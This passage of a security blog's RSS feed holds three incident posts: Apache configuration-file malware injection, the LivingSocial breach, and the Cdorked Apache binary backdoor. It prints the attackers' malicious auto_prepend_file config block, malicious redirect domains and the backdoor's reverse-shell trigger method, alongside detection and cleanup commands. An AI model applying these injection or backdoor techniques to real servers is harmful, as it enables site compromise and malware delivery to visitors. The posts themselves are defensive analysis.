<p>We&#8217;ll talk about two specific trends we&#8217;re seeing, in addition to the complex attacks targeting Apache binaries and modules. These are not as complex and easier to deploy, but still as dangerous and effective. They also raise concern because to accomplish either you&#8217;re looking at a user with administrative privileges, often root. </p>
<h4>1. Appending Malware to Outgoing Data via Configuration Files</h4>
<p>Found by our Analyst Cosmin Strimbu and Senior Analyst <a href="https://twitter.com/fiocavallari">Fio Cavallari</a></p>
<p>A few months back, February 19th to be exact, I wrote about some <a href="http://blog.sucuri.net/2013/02/sneaky-joomla-web-malware-javascript-infections.html">sneaky JavaScript infections</a> in which <strong>.htaccess</strong> was being used to add, what I like to call, junk in the trunk. But what&#8217;s the obvious downside here?</p>
<p>Well if the server has many sites on it you have to do it on each one, how annoying is that. Well the attackers agree, so they&#8217;ve move their attack one layer down as well. No need to get fancy with Apache modules either, nah, let&#8217;s just use the configuration files and do the same thing we were doing in .htaccess. Yes, that&#8217;s sarcasm in my tone, and yes, that&#8217;s what they&#8217;re doing. </p>
<p>In a specific instance this is what they did:</p>
<p>They modified this configuration file: /etc/httpd/conf.d/php.conf :</p>
<p>And they added:</p>
<blockquote><p>
&lt;files ~ &#8220;\.js$&#8221;&gt;<br />
AddHandler php5-script .js<br />
php_value auto_prepend_file /usr/local/lib/php.lib<br />
php_flag display_errors Off<br />
&lt;/files&gt;
</p></blockquote>
<p>Her it&#8217;s treating all JavaSscript files as PHP and appending the payload found in this file: /usr/local/lib/php.lib to the outgoing traffic. Then it&#8217;s turning off any errors that PHP might throw to avoid detection. The next obvious question is, what&#8217;s in that <strong>php.lib</strong>. </p>
<p>Here is what we found in the file: /usr/local/lib/php.lib</p>
<p><a href="http://blog.sucuri.net/2013/04/apache-web-server-attacks-continue-to-evolve.html/screen-shot-2013-04-27-at-4-28-00-pm" rel="attachment wp-att-7165"><img src="http://blog.sucuri.net/wp-content/uploads/2013/04/Screen-Shot-2013-04-27-at-4.28.00-PM.png" alt="Screen Shot 2013-04-27 at 4.28.00 PM" width="1339" height="273" class="aligncenter size-full wp-image-7165" /></a></p>
<p>This is what Google was blacklisting:</p>
<p><a href="http://blog.sucuri.net/2013/04/apache-web-server-attacks-continue-to-evolve.html/google-blacklist" rel="attachment wp-att-7166"><img src="http://blog.sucuri.net/wp-content/uploads/2013/04/Google-Blacklist.png" alt="Google Blacklist" width="1170" height="241" class="aligncenter size-full wp-image-7166" /></a></p>
<p>From the code above you can see that the target of this attack was Internet Explorer. If the right user agent was identified then the attacker was generating a random subdomain on the <strong>statistic-online</strong> website and sending the user to the malicious payload. Unfortunately we didn&#8217;t pull the payload down in time, so hard to say exactly what it was attempting. </p>
<h4>2. Disabling Root Changes on Infected Files</h4>
<p>Yes, there is a way to take away the administrators ability to modify files, any file, on your server. It&#8217;s known as making a file immutable and you accomplish this by changing the files attribution, and it&#8217;s accomplished using the <strong>chattr</strong> command. The command is very similar to the <strong>attrib</strong> command on DOS and Microsoft Windows. </p>
<p>A good sign that you might be dealing with this is if you&#8217;re logged into your server as root, or with a user that has administrator permissions, and when you make a change you see:</p>
<blockquote><p>
W10: Warning: Changing a read-only file
</p></blockquote>
<p>Or if you try to save and you see:</p>
<blockquote><p>
/etc/httpd/conf.d/ssl.conf&#8221; E212: Can&#8217;t open file for writing
</p></blockquote>
<p>This is a good time to make use of the list command, but append the attr option so that it looks like this:</p>
<blockquote><p>
# lsattr filename</p>
<p>- in my example it&#8217;d be </p>
<p># lsattr /etc/httpd/conf.d/ssl.conf
</p></blockquote>
<p>You&#8217;re likely to see something like this:</p>
<blockquote><p>
&#8212;-ia&#8212;&#8212;- /etc/httpd/conf.d/ssl.conf
</p></blockquote>
<p>The <strong>i</strong> and <strong>a</strong> attributes both mean something unique. The <strong>i</strong> set it to immutable so no-one can mess with it, but the <strong>a</strong> option makes it so that you can append to an existing file but you can&#8217;t modify existing data. You should make note however that the only user that can modify these attributes is your root user, so this is a good sign that it&#8217;s likely compromised. </p>
<p>Regardless, if this is the case, you can, thankfully, remove the restriction by doing:</p>
<blockquote><p>
# chattr -ia /etc/httpd/conf.d/ssl.conf
</p></blockquote>
<p>In this case the <strong>-</strong> will remove the restriction while the <strong>+</strong> will add it. Once that is done you should see this:</p>
<blockquote><p>
# lsattr /etc/httpd/conf.d/ssl.conf<br />
&#8212;&#8212;&#8212;&#8212;- /etc/httpd/conf.d/ssl.conf
</p></blockquote>
<p>Now you&#8217;re back in business and removing things like this:</p>
<blockquote><p>
LoadModule uni_config_module modules/mod/mod_uni_config.so
</p></blockquote>
<p>I can&#8217;t remember the last time we found the <strong>LoadModule</strong> call being referenced in the <strong>httpd.conf</strong>, this means that they&#8217;re loading it via other configuration files so it&#8217;s a good thing to crawl through all your configuration files in /etc/httpd/conf.d as they are being loaded when Apache runs. A quick an easy way to do this:</p>
<blockquote><p>
# grep -ri &#8220;LoadModule&#8221; /etc/
</p></blockquote>
<p>I&#8217;d start in your /etc/ directory, it&#8217;s the default location for most distros, but in some instances you might need to look elsewhere, just depends on your distribution and configuration.</p>
<p>Don&#8217;t forget to remove the module as well, not just the LoadModule call:</p>
</blockquote>
<p># rm -rf /etc/httpd/modules/mod_uni_config.so
</p></blockquote>
<p>And reset the immutable attribute on your configuration files so that automated attacks are stopped in their tracks, but remove the append attribute. </p>
<blockquote><p>
# chattr +i /etc/httpd/conf.d/ssl.conf
</p></blockquote>
<p>Do remember that both these changes were made as a user with administrative privileges. This means that removing or making these changes is just half the battle. If you cannot definitively identify the vector, it might be time to reimage the box or migrate to a new one. It will not do you much good if you remove it but leave everything else in place, they&#8217;ll likely continue to gain access. The frist thing I&#8217;d recommend is purging all accounts that have access. I&#8217;d then ensure that I&#8217;m not longer using passwords to authenticate and start adding a few layers of defense.</p>
<h3>What Does This Tell Us?</h3>
<p>We&#8217;re in for a treat, I&#8217;m perhaps most concerned about attack on the Apache binaries more so than anything as it&#8217;s so difficult to detect and fix, it does tell us that we&#8217;re in for some interesting times. We know that websites are high value targets for attackers and that they make up for 90% of the unknown malware to traditional AV&#8217;s. One very common trend in all these attacks is how they&#8217;re all being used to distributed payloads created by the <a href="http://nakedsecurity.sophos.com/2012/03/29/exploring-the-blackhole-exploit-kit/">BlackHole Exploit Kit</a>. This shows a level of sophistication in that segment of attackers that we are not seeing with other groups. </p>
<img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/ADjZUWvyRfk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sucuri.net/2013/04/apache-web-server-attacks-continue-to-evolve.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.sucuri.net/2013/04/apache-web-server-attacks-continue-to-evolve.html</feedburner:origLink></item>
		<item>
		<title>LivingSocial Hacked — More Than 50 Million Accounts Compromised</title>
		<link>http://feedproxy.google.com/~r/SucuriSecurity/~3/bFLMUNIsprk/livingsocial-hacked-more-than-50-million-accounts-compromised.html</link>
		<comments>http://blog.sucuri.net/2013/04/livingsocial-hacked-more-than-50-million-accounts-compromised.html#comments</comments>
		<pubDate>Fri, 26 Apr 2013 21:36:36 +0000</pubDate>
		<dc:creator>Tony Perez</dc:creator>
				<category><![CDATA[awareness]]></category>
		<category><![CDATA[hacked]]></category>

		<guid isPermaLink="false">http://blog.sucuri.net/?p=7139</guid>
		<description><![CDATA[Just as we were thinking we were going to avoid any major enterprise compromises this week, LivingSocial announces that it has been compromised and some 50 million accounts have been compromised. Based on the reports, it doesn&#8217;t seem that any financial data is at risk, but things like usernames and passwords are all fair game.<a class="more-link" href="http://blog.sucuri.net/2013/04/livingsocial-hacked-more-than-50-million-accounts-compromised.html" rel="nofollow"><br /><strong>Read More</strong></a>]]></description>
				<content:encoded><![CDATA[<p>Just as we were thinking we were going to avoid any major enterprise compromises this week, <a href="https://livingsocial.com">LivingSocial</a> announces that it has been compromised and some <a href="http://allthingsd.com/20130426/livingsocial-hacked-more-than-50-million-customer-names-emails-birthdates-and-encrypted-passwords-accessed/?mod=fb">50 million accounts have been compromised</a>. Based on the reports, it doesn&#8217;t seem that any financial data is at risk, but things like usernames and passwords are all fair game. </p>
<p>To put this into perspective, if you think back to last years major compromise, <a href="http://blog.sucuri.net/2012/06/linkedin-password-dump-verified.html">LinkedIn</a>, that was only 6 million accounts. The data compromised here is about 8.5 times that size. </p>
<p>That&#8217;s pretty freaking big.<br />
<span id="more-7139"></span></p>
<h4>Email to Clients</h4>
<blockquote><p>
Subject: An important update on your LivingSocial.com account</p>
<p>LivingSocial recently experienced a cyber-attack on our computer systems that resulted in unauthorized access to some customer data from our servers. We are actively working with law enforcement to investigate this issue.<br />
The information accessed includes names, email addresses, date of birth for some users, and encrypted passwords — technically ‘hashed’ and ‘salted’ passwords. We never store passwords in plain text.</p>
<p>The database that stores customer credit card information was not affected or accessed.</p>
<p>Although your LivingSocial password would be difficult to decode, we want to take every precaution to ensure that your account is secure, so we are expiring your old password and requesting that you create a new one.<br />
For your security, please create a new password for your < > account by following the instructions below.</p>
<p>1. Visit LivingSocial.com<br />
2. Click on the “Create a New Password” button (top right corner of the homepage)<br />
3. Follow the steps to finish</p>
<p>We also encourage you, for your own personal data security, to consider changing password(s) on any other sites on which you use the same or similar password(s).</p>
<p>The security of your information is our priority. We always strive to ensure the security of our customer information, and we are redoubling efforts to prevent any issues in the future.</p>
<p>Please note that LivingSocial will never ask you directly for personal or account information in an email. We will always direct you to the LivingSocial website — and require you to login — before making any changes to your account. </p>
<p>Please disregard any emails claiming to be from LivingSocial that request such information or direct you to a different website that asks for such information.</p>
<p>If you have additional questions about this process, the “Create a New Password” button on LivingSocial.com will direct you to a page that has instructions on creating a new password and answers to frequently asked questions.</p>
<p>We are sorry this incident occurred, and we look forward to continuing to introduce you to new and exciting things to do in your community.</p>
<p>Tim O’Shaughnessy<br />
CEO, LivingSocial
</p></blockquote>
<h4>Email to Employees</h4>
<blockquote><p>
Re: Security Incident<br />
LivingSocialites –</p>
<p>This e-mail is important, so please read it to the end.</p>
<p>We recently experienced a cyber-attack on our computer systems that resulted in unauthorized access to some customer data from our servers. We are actively working with law enforcement to investigate this issue.<br />
The information accessed includes names, email addresses, date of birth for some users, and encrypted passwords — technically ‘hashed’ and ‘salted’ passwords. We never store passwords in plain text.<br />
Two things you should know:</p>
<p>1. * The database that stores customer credit card information was not affected or accessed.<br />
2. * The database that stores merchants’ financial and banking information was not affected or accessed.</p>
<p>The security of our customer and merchant information is our priority. We always strive to ensure the security of our customer information, and we are redoubling efforts to prevent any issues in the future.</p>
<p>To ensure our customers and merchants are fully informed and protected, we are notifying those who may have been impacted via email explaining what happened, expiring their passwords, and requesting that they create new passwords. A copy of the note is included below this email.</p>
<p>If you have any questions or concerns, please visit Pulse –https://pulse.livingsocial.com/intranet/Home/more_updates.html — for a list of frequently asked questions. If you have additional questions that aren’t answered in the FAQs, please submit them via email to XXX@livingsocial.com.</p>
<p>Because we anticipate a high call volume and may not be able to answer or return all calls in a responsible fashion, we are likely to temporarily suspend consumer phone-based servicing. We will be devoting all available resources to our web-based servicing.</p>
<p>I apologize for the formality of this note, which the circumstances demand. We need to do the right thing for our customers who place their trust in us, and that is why we’re taking the steps described and going above and beyond what’s required. We’ll all need to work incredibly hard over the coming days and weeks to validate that faith and trust.</p>
<p>– Tim
</p></blockquote>
<h3>What&#8217;s this mean to you?</h3>
<p>Well, it means that attackers, if they can manage to crack the password hashes are bound to have one of the largest username / password lists out there. What makes it worst is that they have username, email, birthday and password combinations. For any attacker looking for a specific target, or for anyone looking to perform large scale attacks like the <a href="http://blog.sucuri.net/2013/04/the-wordpress-brute-force-attack-timeline.html">recent Brute Force attacks against WordPress sites</a>, this is gold mine. </p>
<p>This also makes it really easy to attack things like Facebook, Twitter, MySpace, Flicker, etc.. ever hear of those companies? </p>
<p>If you&#8217;re not already, here are a few things you really should be doing:</p>
<ul>
<li>Don&#8217;t use the same password on multiple sites</li>
<li>Rotate usernames and emails on each site</li>
<li>Try platform specific emails &#8211; (e.g.., perezbox-livingsocial@gmail.com)</li>
</ul>
<p>First, no I don&#8217;t have a LivingSocial account, at least I don&#8217;t think I do.</p>
<p>Second, yes it&#8217;s annoying, but what&#8217;s the real impact if you use the same information across all your social media and financial institutions? I bet those 50 million people are thinking it&#8217;s a small price to pay right now. </p>
<p>Third, always employ good passwords. By good I mean: unique, random and long. At least that&#8217;s my preference. Can&#8217;t remember them? No problem, try things like password managers: <a href="https://agilebits.com/onepassword">1Password</a> and <a href="https://lastpass.com/">LastPass</a> are my recommendations. </p>
<p>Lastly, if you haven&#8217;t already obviously update your LivingSocial password at a minimum and I would encourage you go through all your online properties and update those accounts as well. Especially if you like to use the same information on all of them, you know who you are.</p>
<p>Cheers. </p>
<img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/bFLMUNIsprk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sucuri.net/2013/04/livingsocial-hacked-more-than-50-million-accounts-compromised.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://blog.sucuri.net/2013/04/livingsocial-hacked-more-than-50-million-accounts-compromised.html</feedburner:origLink></item>
		<item>
		<title>Apache Binary Backdoors on Cpanel-based servers</title>
		<link>http://feedproxy.google.com/~r/SucuriSecurity/~3/nK9BOpbeocA/apache-binary-backdoors-on-cpanel-based-servers.html</link>
		<comments>http://blog.sucuri.net/2013/04/apache-binary-backdoors-on-cpanel-based-servers.html#comments</comments>
		<pubDate>Fri, 26 Apr 2013 14:47:17 +0000</pubDate>
		<dc:creator>Daniel Cid</dc:creator>
				<category><![CDATA[apache]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[malware_updates]]></category>
		<category><![CDATA[backdoor]]></category>

		<guid isPermaLink="false">http://blog.sucuri.net/?p=7057</guid>
		<description><![CDATA[For the last few months we have been tracking server level compromises that have been utilizing malicious Apache modules (Darkleech) to inject malware into websites. Some of our previous coverage is available here and here. However, during the last few months we started to see a change on how the injections were being done. On<a class="more-link" href="http://blog.sucuri.net/2013/04/apache-binary-backdoors-on-cpanel-based-servers.html" rel="nofollow"><br /><strong>Read More</strong></a>]]></description>
				<content:encoded><![CDATA[<p>For the last few months we have been tracking server level compromises that have been utilizing malicious Apache modules (Darkleech) to inject malware into websites. Some of our previous coverage is available <a href="http://blog.sucuri.net/2013/01/server-side-iframe-injections-via-apache-modules-and-sshd-backdoor.html">here</a> and <a href="http://blog.sucuri.net/2013/02/web-server-compromise-debian-distro-identify-and-remove-corrupt-apache-modules.html">here</a>.</p>
<p>However, during the last few months we started to see a change on how the injections were being done. On cPanel-based servers, instead of adding modules or modifying the Apache configuration, the attackers started to replace the Apache binary (httpd) with a malicious one. This new backdoor is very sophisticated and we worked with our friends from <a href="http://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole">ESET</a> to provide this report on what we are seeing.<br />
<span id="more-7057"></span></p>
<h5>Detection</h5>
<p>In our previous posts, we recommended the utilization of tools like &#8220;rpm -Va&#8221; or &#8220;rpm -qf&#8221; or &#8220;dpkg -S&#8221; to see if the Apache modules were modified. However, those techniques won&#8217;t work against this backdoor. Since cPanel installs Apache inside /usr/local/apache and does not utilize the package managers, there is no single and simple command to detect if the Apache binary was modified.</p>
<p>They also keep the same timestamp on the binary, so you can&#8217;t see by the date of the file. A good and reliable way to identify the modified binary is by searching for &#8220;open_tty&#8221; on the httpd directory:</p>
<blockquote><p>
# grep -r open_tty /usr/local/apache/
</p></blockquote>
<p>If it finds open_tty in your Apache binary, it is likely compromised, since the original Apache binary does not contain a call to open_tty. Another interesting point is that if you try to just replace the bad binary with a good one, you will be denied, because they set the file attribute to immutable. So you have to run chattr -ai before replacing it:</p>
<blockquote><p>
# chattr -ai /usr/local/apache/bin/httpd
</p></blockquote>
<h5>Injections</h5>
<p>The compromised binary doesn&#8217;t change anything in the site in terms of utilization or how the sites looks, however on some random requests (once per day per IP address) instead of just displaying the content, it also adds a malicious redirect. That causes the browser to load content from what seems to be random domains:</p>
<blockquote><p>
http://893111632ce77ff9.aliz.co.kr/index.php (62.212.130.115)<br />
http://894651446c103f0e.after1201.com (62.212.130.115)<br />
http://328aaaf8978cc492.ajintechno.co.kr (62.212.130.115)<br />
http://23024b407634252a.ajaxstudy.net (62.212.130.115)<br />
http://cdb9156b281f7b01.ajuelec.co.kr (62.212.130.115)<br />
http://894651446c103f0e.after1201.com (62.212.130.115)<br />
..
</p></blockquote>
<p>And many others like that. So if a browser requests a javascript file, it would return a 302 (redirect) pointing to:</p>
<blockquote><p>
Location: http://dcb84fc82e1f7b01.alarm-gsm.be/index.php?j=originalfilebase64
</p></blockquote>
<p>Where &#8220;originalfilebase64&#8243; is a base64 encoded string of the URL that was requested. That allows the attackers to return the malware along with the original content. Once the malware is loaded it will redirect the site to spammy sites (most often porn pages). At the sites we analyzed, they were being pushed to httx://amazingtubesites.org (seems offline now). On some cases we also saw the redirection going to the Blackhole Exploit kit.</p>
<p>Note that those URL&#8217;s change very often and the ESET team has identified more than 30,000 variations of them.</p>
<h5>The Backdoor</h5>
<p>Our friends from ESET (Marc-Etienne, Olivier Bilodeau and Pierre-Marc Bureau) also analyzed the binary and discovered a nasty hidden backdoor. You have to read the full article <a href="http://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole">here</a> to get more details, but here is a brief explanation quoted from there:</p>
<blockquote><p>
Linux/Cdorked.A is one of the most sophisticated Apache backdoor we have seen so far. Although we are still processing the data, our Livegrid system reports hundreds of compromised servers and thousands of potential victims. The backdoor leaves no traces on the hard drive of compromised hosts other than its modified httpd binary. All the information related to the backdoor is stored in shared memory, the configuration is pushed by the attacker through obfuscated HTTP requests that aren&#8217;t logged in normal Apache logs. This means that no command and control information is stored anywhere on the system.<br />
..<br />
The HTTP server is equipped with a reverse connect backdoor that can be triggered via a special HTTP GET request. It is invoked when a request to a special path is done with a query string in a particular format, containing the hostname and port to connect. The client IP of the HTTP dialog is used as a key to decrypt the query string as a 4 byte XOR key. Additionally, IP specified in X-Real-IP or X-Forwarded-For headers will override the client IP as the XOR key. This means we can craft a X-Real-IP header that will in effect be a “\x00\x00\x00\x00” key&#8230;
</p></blockquote>
<p>As you can see, the attackers don&#8217;t need any files to act as a backdoor and just use the Apache binary for it.</p>
<h5>The Random URLS</h5>
<p>One thing that striked us a very suspicious is that most of random domains being used as the first level redirection are coming from legitimate sites with their DNS hosted at dothost.co.kr:</p>
<blockquote><p>
ajaxstudy.net name server ns1.dothost.co.kr.<br />
ajaxstudy.net name server ns2.dothost.co.kr.
</p></blockquote>
<p>We are still unsure if those are compromised accounts or if the attackers got some type of access to their DNS to inject random sub domains to domains hosted there. We are stil tracking how those URL&#8217;s changed, so we will have to post more details later.</p>
<h5>Final thoughts</h5>
<p>When attackers get full root access to the server, they can do anything they want. From modifying configurations, to injecting modules and replacing binaries. However, their tactics are changing to make it even harder for admins to detect their presence and recover from the compromise. </p>
<p>We also don&#8217;t have enough information to pinpoint how those servers are initially being hacked, but we are thinking through SSHD-based brute force attacks.</p>
<p>We will keep monitoring these attacks and we will provide more information as we get them.</p>
<img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/nK9BOpbeocA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.sucuri.net/2013/04/apache-binary-backdoors-on-cpanel-based-servers.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.sucuri.net/2013/04/apache-binary-backdoors-on-cpanel-based-servers.html</feedburner:origLink></item>
	</channel>
</rss><!-- Dynamic page generated in 1.713 seconds. --><!-- Cached page generated by WP-Super-Cache on 2013-05-19 13:54:05 -->
